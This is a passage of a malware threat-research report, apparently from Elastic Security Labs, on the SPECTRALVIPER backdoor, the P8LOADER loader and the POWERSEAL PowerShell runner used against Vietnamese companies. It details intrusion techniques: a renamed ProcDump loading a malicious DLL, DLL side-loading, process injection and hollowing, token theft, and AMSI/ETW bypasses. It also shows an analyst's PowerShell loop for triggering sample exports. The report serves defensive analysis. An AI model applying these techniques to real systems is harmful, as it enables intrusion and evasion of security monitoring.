aligning with the Canvas Cyclone/APT32/OceanLotus threat actor\"}),`\n`]}),`\n`,(0,i.jsx)(e.h2,{id:\"preamble\",children:\"Preamble\"}),`\n`,(0,i.jsx)(e.p,{children:\"Elastic Security Labs has been tracking an intrusion set targeting large Vietnamese public companies for several months, REF2754. During this timeframe, our team discovered new malware being used in coordination by a state-affiliated actor.\"}),`\n`,(0,i.jsx)(e.p,{children:\"This research discusses:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"The SPECTRALVIPER malware\"}),`\n`,(0,i.jsx)(e.li,{children:\"The P8LOADER malware loader\"}),`\n`,(0,i.jsx)(e.li,{children:\"The POWERSEAL malware\"}),`\n`,(0,i.jsx)(e.li,{children:\"Campaign and intrusion analysis of REF2754\"}),`\n`]}),`\n`,(0,i.jsx)(e.h2,{id:\"execution-flow\",children:\"Execution flow\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"The first event recorded was the creation of a file (\",(0,i.jsx)(e.strong,{children:\"C:\\\\Users\\\\Public\\\\Libraries\\\\dbg.config)\"}),\" by the System service dropped over SMB from a previously compromised endpoint. The adversary renamed the SysInternals ProcDump utility, used for collecting memory metadata from running processes, to masquerade as the Windows debugger utility ( \",(0,i.jsx)(e.strong,{children:\"windbg.exe\"}),\" ). Using the renamed ProcDump application with the \",(0,i.jsx)(e.strong,{children:\"-md\"}),\" flag, the adversary loaded \",(0,i.jsx)(e.strong,{children:\"dbg.config\"}),\" , an unsigned DLL containing malicious code.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"It should be noted, the ProcDump LOLBAS \",(0,i.jsx)(e.a,{href:\"https://lolbas-project.github.io/lolbas/OtherMSBinaries/Procdump/\",rel:\"nofollow\",children:\"technique\"}),\" requires a valid process in the arguments; so while \",(0,i.jsx)(e.strong,{children:\"winlogon.exe\"}),\" is being included in the arguments, it is being used because it is a valid process, not that it is being targeted for collection by ProcDump.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-charms-spectralviper/image22.jpg\",alt:\"ProcDump masquerading as WinDbg.exe\",width:\"1440\",height:\"179\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"The unsigned DLL (\",(0,i.jsx)(e.strong,{children:\"dbg.config)\"}),\" contained DONUTLOADER shellcode which it attempted to inject into \",(0,i.jsx)(e.strong,{children:\"sessionmsg.exe\"}),\" , the Microsoft Remote Session Message Server. DONUTLOADER was configured to load the SPECTRALVIPER backdoor, and ultimately the situationally-dependent P8LOADER or POWERSEAL malware families. Below is the execution flow for the REF2754 intrusion set.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-charms-spectralviper/image16.png\",alt:\"REF2754 execution flow\",width:\"1440\",height:\"681\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Our team also observed a similar workflow described above, but with different techniques to proxy their malicious execution. One example leveraged the Internet Explorer program ( \",(0,i.jsx)(e.strong,{children:\"ExtExport.exe\"}),\" ) to load a DLL, while another technique involved side-loading a malicious DLL ( \",(0,i.jsx)(e.strong,{children:\"dnsapi.dll\"}),\" ) using a legitimate application ( \",(0,i.jsx)(e.strong,{children:\"nslookup.exe\"}),\" ).\"]}),`\n`,(0,i.jsx)(e.p,{children:\"These techniques and malware families make up the REF2754 intrusion set.\"}),`\n`,(0,i.jsx)(e.h2,{id:\"spectralviper-code-analysis\",children:\"SPECTRALVIPER code analysis\"}),`\n`,(0,i.jsx)(e.h3,{id:\"overview\",children:\"Overview\"}),`\n`,(0,i.jsx)(e.p,{children:\"During our investigation, we observed a previously-undiscovered backdoor malware family that we\\u2019re naming SPECTRALVIPER. SPECTRALVIPER is a 64-bit Windows backdoor coded in C++ and heavily obfuscated. It operates with two distinct communication modes, allowing it to receive messages either via HTTP or a Windows named pipe.\"}),`\n`,(0,i.jsx)(e.p,{children:\"Through our analysis, we have identified the following capabilities:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"PE loading/Injection\"}),\" : SPECTRALVIPER can load and inject executable files, supporting both x86 and x64 architectures. This capability enables it to execute malicious code within legitimate processes.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Token Impersonation\"}),\" : The malware possesses the ability to impersonate security tokens, granting it elevated privileges and bypassing certain security measures. This enables unauthorized access and manipulation of sensitive resources.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"File downloading/uploading\"}),\" : SPECTRALVIPER can download and upload files to and from the compromised system. This allows the attacker to exfiltrate data or deliver additional malicious payloads to the infected machine.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"File/directory manipulation\"}),\" : The backdoor is capable of manipulating files and directories on the compromised system. This includes creating, deleting, modifying, and moving files or directories, providing the attacker with extensive control over the victim's file system.\"]}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-charms-spectralviper/image30.jpg\",alt:\"SPECTRALVIPER overview\",width:\"960\",height:\"540\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"execution-flow-1\",children:\"Execution flow\"}),`\n`,(0,i.jsx)(e.h4,{id:\"launch\",children:\"Launch\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"SPECTRALVIPER can be compiled as a PE executable or DLL file. Launching the malware as a PE is straightforward by executing \",(0,i.jsx)(e.strong,{children:\".\\\\spectralviper.exe\"}),\".\"]}),`\n`,(0,i.jsx)(e.p,{children:\"However, when the malware is a DLL it will attempt to disguise itself as a legitimate library with known exports such as sqlite3 in our observed sample.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-charms-spectralviper/image14.jpg\",alt:\"SPECTRALVIPER DLL sample exports\",width:\"562\",height:\"479\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"The SPECTRALVIPER entrypoint is hidden within these exports. In order to find the right one, we can brute-force call them using PowerShell and \",(0,i.jsx)(e.a,{href:\"https://github.com/BenjaminSoelberg/RunDLL-NG\",rel:\"nofollow\",children:\"rundll-ng\"}),\". The PowerShell command depicted below calls each SPECTRALVIPER export in a \",(0,i.jsx)(e.strong,{children:\"for\"}),\" loop until we find the one launching the malware capabilities.\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`for($i=0; $i -lt 20; $i++){.\\\\rundll-ng\\\\rundll64-ng.exe \".\\\\7e35ba39c2c77775b0394712f89679308d1a4577b6e5d0387835ac6c06e556cb.dll\" \"#$i\"}\n`})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-charms-spectralviper/image33.jpg\",alt:\"Brute-forcing calls to SPECTRALVIPER exports\",width:\"1100\",height:\"447\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Upon execution, the binary operates in either HTTP mode or pipe mode, determined by its hardcoded configuration.\"}),`\n`,(0,i.jsx)(e.h4,{id:\"pipe-mode\",children:\"Pipe mode\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"In pipe mode, SPECTRALVIPER opens a named pipe with a hardcoded name and waits for incoming commands, in this example \",(0,i.jsx)(e.strong,{children:\"\\\\.\\\\pipe\\\\raSeCIR4gg\"}),\".\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-charms-spectralviper/image19.jpg\",alt:\"SPECTRALVIPER sample operating in pipe mode\",width:\"621\",height:\"31\"})}),`\n`,(0,i.jsx)(e.p,{children:\"This named pipe doesn\\u2019t have any security attributes meaning it\\u2019s accessible by everyone. This is interesting because an unsecured named pipe can be overtaken by a co-resident threat actor (either known or unknown to the SPECTRALVIPER operator) or defensive teams as a way to interrupt this execution mode.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-charms-spectralviper/image6.jpg\",alt:\"SPECTRALVIPER\\u2019s pipe security attributes\",width:\"412\",height:\"445\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"However, a specific protocol is needed to communicate with this pipe. SPECTRALVIPER implements the \",(0,i.jsx)(e.a,{href:\"https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange\",rel:\"nofollow\",children:\"Diffie-Helman key exchange protocol\"}),\" to exchange the key needed to encrypt and decrypt commands transmitted via the named pipe, which is AES-encrypted.\"]}),`\n`,(0,i.jsx)(e.h4,{id:\"http-mode\",children:\"HTTP mode\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"In HTTP mode, the malware will beacon to its C2 every \",(0,i.jsx)(e.em,{children:\"n\"}),\" seconds, the interval period is generated randomly in a range between 10 and 99 seconds.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-charms-spectralviper/image20.jpg\",alt:\"SPECTRALVIPER\\u2019s other sample operates in HTTP mode\",width:\"898\",height:\"57\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Using a debugger, we can force the binary to use the HTTP channel instead of the named pipe if the binary contains a hard-coded domain.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-charms-spectralviper/image28.jpg\",alt:\"Debugging SPECTRALVIPER to force the HTTP mode\",width:\"831\",height:\"157\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Below is an HTTP request example.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-charms-spectralviper/image15.jpg\",alt:\"SPECTRALVIPER HTTP request example\",width:\"1083\",height:\"193\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"The request contains a cookie header, \\u201C \",(0,i.jsx)(e.strong,{children:\"euconsent-v2\"}),\" \\u201D, which contains host-gathered information. This information is encrypted using RSA1024 asymmetric encryption and base64-encoded using Base64. Below is an example of the cookie content before encryption.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-charms-spectralviper/image10.jpg\",alt:\"Cookie data pre RSA1024 encryption\",width:\"580\",height:\"41\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"We believe that the first value, in this example \\u201C \",(0,i.jsx)(e.strong,{children:\"H9mktfe2k0ukk64nZjw1ow==\"}),\" \\u201D, is the randomly generated AES key that is shared with the server to encrypt communication data.\"]}),`\n`,(0,i.jsx)(e.h3,{id:\"commands\",children:\"Commands\"}),`\n`,(0,i.jsx)(e.p,{children:\"While analyzing SPECTRALVIPER samples we discovered its command handler table containing between 33 and 36 handlers.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-charms-spectralviper/image17.jpg\",alt:\"SPECTRALVIPER registering command handlers\",width:\"747\",height:\"200\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Below is a table listing of the commands that were identified.\"}),`\n`,(0,i.jsx)(e.div,{className:\"table-container\",children:(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{children:\"ID\"}),(0,i.jsx)(e.th,{children:\"Name\"})]})}),(0,i.jsxs)(e.tbody,{children:[(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"2\"}),(0,i.jsx)(e.td,{children:\"DownloadFile\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"3\"}),(0,i.jsx)(e.td,{children:\"UploadFile\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"5\"}),(0,i.jsx)(e.td,{children:\"SetBeaconIntervals\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"8\"}),(0,i.jsx)(e.td,{children:\"CreateRundll32ProcessAndHollow\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"11\"}),(0,i.jsx)(e.td,{children:\"InjectShellcodeInProcess\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"12\"}),(0,i.jsx)(e.td,{children:\"CreateProcessAndInjectShellcode\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"13\"}),(0,i.jsx)(e.td,{children:\"InjectPEInProcess\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"14\"}),(0,i.jsx)(e.td,{children:\"CreateProcessAndHollow\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"20\"}),(0,i.jsx)(e.td,{children:\"CreateRundll32ProcessWithArgumentAndInjectPE\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"81\"}),(0,i.jsx)(e.td,{children:\"StealProcessToken\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"82\"}),(0,i.jsx)(e.td,{children:\"ImpersonateUser\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"83\"}),(0,i.jsx)(e.td,{children:\"RevertToSelf\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"84\"}),(0,i.jsx)(e.td,{children:\"AdjustPrivileges\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"85\"}),(0,i.jsx)(e.td,{children:\"GetCurrentUserName\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"103\"}),(0,i.jsx)(e.td,{children:\"ListFiles\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"106\"}),(0,i.jsx)(e.td,{children:\"ListRunningProcesses\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"108\"}),(0,i.jsx)(e.td,{children:\"CopyFile\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"109\"}),(0,i.jsx)(e.td,{children:\"DeleteFile\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"110\"}),(0,i.jsx)(e.td,{children:\"CreateDirectory\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"111\"}),(0,i.jsx)(e.td,{children:\"MoveFile\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"200\"}),(0,i.jsx)(e.td,{children:\"RunDLLInOwnProcess\"})]})]})]})}),`\n`,(0,i.jsx)(e.p,{children:\"In order to speed up the process of interacting with SPECTRALVIPER, we bypassed the communication protocols and injected our own backdoor into the binary. This backdoor will open a socket and call the handlers upon receiving our messages.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-charms-spectralviper/image13.jpg\",alt:\"Injecting our backdoor to call SPECTRALVIPER handlers\",width:\"508\",height:\"145\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"When the \",(0,i.jsx)(e.strong,{children:\"AdjustPrivileges\"}),\" command is executed, and depending on the process's current privilege level, the malware will try to set the following list of privileges.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-charms-spectralviper/image3.jpg\",alt:\"SPECTRALVIPER setting privileges\",width:\"646\",height:\"428\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"defense-evasion\",children:\"Defense evasion\"}),`\n`,(0,i.jsx)(e.h4,{id:\"code-obfuscation\",children:\"Code obfuscation\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"The binary code is heavily obfuscated by splitting each function into multi-level dummy functions that encapsulate the initial logic. On top of that, the control flow of those functions is also obfuscated using control flow flattening. \",(0,i.jsx)(e.a,{href:\"https://news.sophos.com/en-us/2022/05/04/attacking-emotets-control-flow-flattening/\",rel:\"nofollow\",children:\"Control flow flattening\"}),\" is an obfuscation technique that removes clean program structures and places the blocks next to each other inside a loop with a switch statement to control the flow of the program.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"Below is an example of a second-level identity function where the highlighted parameter \",(0,i.jsx)(e.strong,{children:\"p_a1\"}),\" is just returned despite the complexity of the function.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-charms-spectralviper/image21.jpg\",alt:\"SPECTRALVIPER obfuscated function example\",width:\"593\",height:\"543\"})}),`\n`,(0,i.jsx)(e.h4,{id:\"string-obfuscation\",children:\"String obfuscation\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"SPECTRALVIPER\\u2019s strings are obfuscated using a custom structure and AES decryption. The key is hardcoded ( \",(0,i.jsx)(e.strong,{children:'\"\\\\x00\\\\x01\\\\x02\\\\x03\\\\x04\\\\x05\\\\x06\\\\x07\\\\x08\\\\x09\\\\x0a\\\\x0b\\\\x0c\\\\x0d\\\\x0e\\\\x0f\"'}),\" ) and the IV is contained within the encrypted string structure.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-charms-spectralviper/image24.jpg\",alt:\"Encrypted string structure 1/2\",width:\"459\",height:\"81\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-charms-spectralviper/image2.jpg\",alt:\"Encrypted string structure 2/2\",width:\"325\",height:\"82\"})}),`\n`,(0,i.jsx)(e.p,{children:\"We can decrypt the strings by instrumenting the malware and calling its AES decryption functions.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-charms-spectralviper/image27.jpg\",alt:\"Decrypting strings by instrumenting the binary 1/2\",width:\"398\",height:\"43\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-charms-spectralviper/image31.png\",alt:\"Decrypting strings by instrumenting the binary 2/2\",width:\"643\",height:\"249\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"summary\",children:\"Summary\"}),`\n`,(0,i.jsx)(e.p,{children:\"SPECTRALVIPER is an x64 backdoor discovered during intrusion analysis by Elastic Security Labs. It can be compiled as an executable or DLL which usually would imitate known binary exports.\"}),`\n`,(0,i.jsx)(e.p,{children:\"It enables process loading/injection, token impersonation, and file manipulation. It utilizes encrypted communication channels (HTTP and named pipe) with AES encryption and Diffie-Hellman or RSA1024 key exchange.\"}),`\n`,(0,i.jsx)(e.p,{children:\"All samples are heavily obfuscated using the same obfuscator with varying levels of hardening.\"}),`\n`,(0,i.jsx)(e.p,{children:\"Using the information we collected through static and dynamic analysis, we were able to identify several other samples in VirusTotal. Using the debugging process outlined above, we were also able to collect the C2 infrastructure for these samples.\"}),`\n`,(0,i.jsx)(e.h2,{id:\"p8loader\",children:\"P8LOADER\"}),`\n`,(0,i.jsx)(e.h3,{id:\"overview-1\",children:\"Overview\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"The Portable Executable (PE) described below is a Windows x64 PE loader, written in C++, which we are naming P8LOADER after one of its exports, \",(0,i.jsx)(e.strong,{children:\"P8exit\"}),\".\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-charms-spectralviper/image5.jpg\",alt:\"P8exit export name\",width:\"393\",height:\"24\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"discovery\",children:\"Discovery\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"P8LOADER was initially discovered when an unbacked shellcode alert was generated by the execution of a valid Windows process, \",(0,i.jsx)(e.strong,{children:\"RuntimeBroker.exe\"}),\". Unbacked executable sections, or \",(0,i.jsx)(e.em,{children:\"floating code\"}),\", are the result of code section types set to \\u201CPrivate\\u201D instead of \\u201CImage\\u201D like you would see when code is mapped to a file on disk. Threads starting from these types of memory regions are anomalous and a good indicator of malicious activity.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-charms-spectralviper/image1.jpg\",alt:\"P8LOADER unbacked observation\",width:\"1440\",height:\"158\"})}),`\n`,(0,i.jsxs)(e.blockquote,{children:[`\n`,(0,i.jsxs)(e.p,{children:[\"If you want to learn more about unbacked executable events, check out the \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/hunting-memory\",rel:\"nofollow\",children:\"Hunting in Memory research\"}),\" publication by Joe Desimone.\"]}),`\n`]}),`\n`,(0,i.jsx)(e.h3,{id:\"execution-flow-2\",children:\"Execution flow\"}),`\n`,(0,i.jsx)(e.p,{children:\"The loader exports two functions that have the capability to load PE binaries into its own process memory, either from a file or from memory.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-charms-spectralviper/image26.jpg\",alt:\"P8LOADER functions\",width:\"401\",height:\"36\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"The PE to be executed is loaded into memory using the \",(0,i.jsx)(e.strong,{children:\"VirtualAlloc\"}),\" method with a classic PE loading algorithm (loading sections, resolving imports, and applying relocations).\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-charms-spectralviper/image9.jpg\",alt:\"P8LOADER loading the PE to be executed\",width:\"853\",height:\"54\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Next, a new thread is allocated with the entry point of the PE as the starting address.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-charms-spectralviper/image34.jpg\",alt:\"P8LOADER setting the PE starting address\",width:\"626\",height:\"50\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Finally, the loaded PE\\u2019s STDOUT handle is replaced with a pipe and a reading pipe thread is created as a way to redirect the output of the binary to the loader logging system.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-charms-spectralviper/image29.jpg\",alt:\"P8LOADER redirecting to the loader logging system\",width:\"846\",height:\"145\"})}),`\n`,(0,i.jsx)(e.p,{children:\"On top of redirecting the loaded PE output, the loader uses an API interception mechanism to hook certain APIs of the loaded process, log any calls to it, and send the data through a named pipe (with a randomly generated UUID string as the name).\"}),`\n`,(0,i.jsx)(e.p,{children:\"The hooking of the PE's import table is done at import resolution time by replacing the originally imported function addresses with their own stub.\"}),`\n`,(0,i.jsx)(e.h3,{id:\"defense-evasion-1\",children:\"Defense evasion\"}),`\n`,(0,i.jsx)(e.h4,{id:\"string-obfuscation-1\",children:\"String obfuscation\"}),`\n`,(0,i.jsx)(e.p,{children:\"P8LOADER uses a C++ template-based obfuscation technique to obscure errors and debug strings with a set of different algorithms chosen randomly at compile time.\"}),`\n`,(0,i.jsx)(e.p,{children:\"These strings are obfuscated to hinder analysis as they provide valuable information about the loader functions and capabilities.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-charms-spectralviper/image7.png\",alt:\"String decryption algorithm example 1/3\",width:\"489\",height:\"249\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-charms-spectralviper/image23.png\",alt:\"String decryption algorithm example 2/3\",width:\"476\",height:\"297\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-charms-spectralviper/image25.jpg\",alt:\"String decryption algorithm example 3/3\",width:\"402\",height:\"485\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"summary-1\",children:\"Summary\"}),`\n`,(0,i.jsx)(e.p,{children:\"P8LOADER is a newly discovered x64 Windows loader that is used to execute a PE from a file or from memory. This malware is able to redirect the loaded PE output to its logging system and hook the PE imports to log import calls.\"}),`\n`,(0,i.jsx)(e.h2,{id:\"powerseal-code-analysis\",children:\"POWERSEAL code analysis\"}),`\n`,(0,i.jsx)(e.h3,{id:\"overview-2\",children:\"Overview\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"During this intrusion, we observed a lightweight .NET PowerShell runner that we call POWERSEAL based on embedded strings. After SPECTRALVIPER was successfully deployed, the POWERSEAL utility would be used to launch supplied PowerShell scripts or commands. The malware leverages syscalls ( \",(0,i.jsx)(e.strong,{children:\"NtWriteVirtualMemory\"}),\" ) for evading defensive solutions (AMSI/ETW).\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-charms-spectralviper/image11.jpg\",alt:\"POWERSEAL Classes/Functions\",width:\"550\",height:\"519\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"defense-evasion-2\",children:\"Defense evasion\"}),`\n`,(0,i.jsx)(e.p,{children:\"Event Tracing for Windows (ETW) provides a mechanism to trace and log events that are raised by user-mode applications and kernel-mode drivers. The Anti Malware Scan Interface (AMSI) provides enhanced malware protection for data, applications, and workloads. POWERSEAL adopts well-known and publicly-available bypasses in order to patch these technologies in memory. This increases their chances of success while decreasing their detectable footprint.\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"For example, POWERSEAL employs \",(0,i.jsx)(e.a,{href:\"https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/\",rel:\"nofollow\",children:\"common approaches to unhooking and bypassing AMSI\"}),\" in order to bypass Microsoft Defender\\u2019s signature\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-charms-spectralviper/image8.jpg\",alt:\"POWERSEAL bypassing AMSI\",width:\"1440\",height:\"916\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"launch-powershell\",children:\"Launch PowerShell\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"POWERSEAL\\u2019s primary function is to execute PowerShell. In the following depiction of POWERSEAL\\u2019s source code, we can see that POWERSEAL uses PowerShell to execute a script and arguments ( \",(0,i.jsx)(e.strong,{children:\"command\"}),\" ). The script and arguments are provided by the threat actor and were not observed in the environment.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-charms-spectralviper/image32.jpg\",alt:\"POWERSEAL executing shellcode with PowerShell\",width:\"1252\",height:\"1048\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"summary-2\",children:\"Summary\"}),`\n`,(0,i.jsx)(e.p,{children:\"POWERSEAL is a new and purpose-built PowerShell runner that borrows freely from a variety of open source offensive security tools, delivering offensive capabilities in a streamlined package with built-in defense evasion.\"}),`\n`,(0,i.jsx)(e.h2,{id:\"campaign-and-adversary-modeling\",children:\"Campaign and adversary modeling\"}),`\n`,(0,i.jsx)(e.h3,{id:\"overview-3\",children:\"Overview\"}),`\n`,(0,i.jsx)(e.p,{children:\"REF2754 is an ongoing campaign against large nationally important public companies within Vietnam. The malware execution chain in this campaign is initiated with DONUTLOADER, but goes on to utilize previously unreported tooling.\"}),`\n`,(0,i.jsxs)(e.ol,{children:[`\n`,(0,i.jsx)(e.li,{children:\"SPECTRALVIPER, an obfuscated x64 backdoor that brings PE loading and injection, file upload and download, file and directory manipulation, token impersonation, and named pipe and HTTP command and control\"}),`\n`,(0,i.jsx)(e.li,{children:\"P8LOADER, an obfuscated Windows PE loader allowing the attacker to minimize and obfuscate some logging on the victim endpoints, and\"}),`\n`,(0,i.jsx)(e.li,{children:\"POWERSEAL, a PowerShell runner with ETW and AMSI bypasses built in for enhanced defensive evasion when using PowerShell tools\"}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:\"Elastic Security Labs concludes with moderate confidence that this campaign is executed by a Vietnamese state-affiliated threat.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-charms-spectralviper/image4.png\",alt:\"REF2754 and REF4322 campaign intersections\",width:\"1440\",height:\"1218\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"victimology\",children:\"Victimology\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Using our SPECTRALVIPER YARA signature, we identified two endpoints in a second environment infected with SPECTRALVIPER implants. That environment was discussed in Elastic Security Labs research in 2022 which describes \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/phoreal-malware-targets-the-southeast-asian-financial-sector\",rel:\"nofollow\",children:\"REF4322\"}),\".\"]}),`\n`,(0,i.jsx)(e.p,{children:\"The REF4322 victim is a Vietnam-based financial services company. Elastic Security Labs first talked about this victim and activity group in 2022.\"}),`\n`,(0,i.jsx)(e.p,{children:\"The REF2754 victim has been identified as a large Vietnam-based agribusiness.\"}),`\n`,(0,i.jsx)(e.p,{children:\"Further third party intelligence from VirusTotal, based on retro-hunting the YARA rules available at the end of this research, indicate additional Vietnam-based victims. There were eight total Retrohunt hits:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"All were manually confirmed to be SPECTRALVIPER\"}),`\n`,(0,i.jsx)(e.li,{children:\"All samples were between 1.59MB and 1.77MB in size\"}),`\n`,(0,i.jsx)(e.li,{children:\"All VirusTotal samples were initially submitted from Vietnam\"}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:\"Some samples were previously identified in our first party collection, and some were new to us.\"}),`\n`,(0,i.jsxs)(e.blockquote,{children:[`\n`,(0,i.jsx)(e.p,{children:\"Be mindful of the analytic limitations of relying on \\u201CVT submitter\\u201D too heavily. This third party reporting mechanism may be subject to circular reporting concerns or VPN usage that modifies the GEOs used, and inadvertent reinforcement of a hypothesis. In this case, it was used in an attempt to try to find samples with apparent non-VN origins, without success.\"}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:\"At the time of publication, all known victims are large public companies physically within 